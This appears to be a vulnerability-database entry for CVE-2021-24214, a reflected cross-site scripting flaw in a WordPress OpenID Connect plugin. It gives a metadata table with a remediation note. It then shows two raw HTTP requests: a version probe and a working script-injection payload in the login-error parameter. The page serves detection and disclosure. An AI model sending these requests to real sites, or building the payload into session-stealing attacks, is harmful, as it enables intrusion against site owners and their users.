| Title | WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting |
|---|---|
| Author | tess |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04044 |
| CVE ID | CVE-2021-24214 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wpscan wordpress xss wp-plugin wp openid daggerhartlab vuln |
WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.5
Connection: close
Accept-Encoding: gzip
GET /wp-login.php?login-error=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24214.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24214.pcap
N/AN/A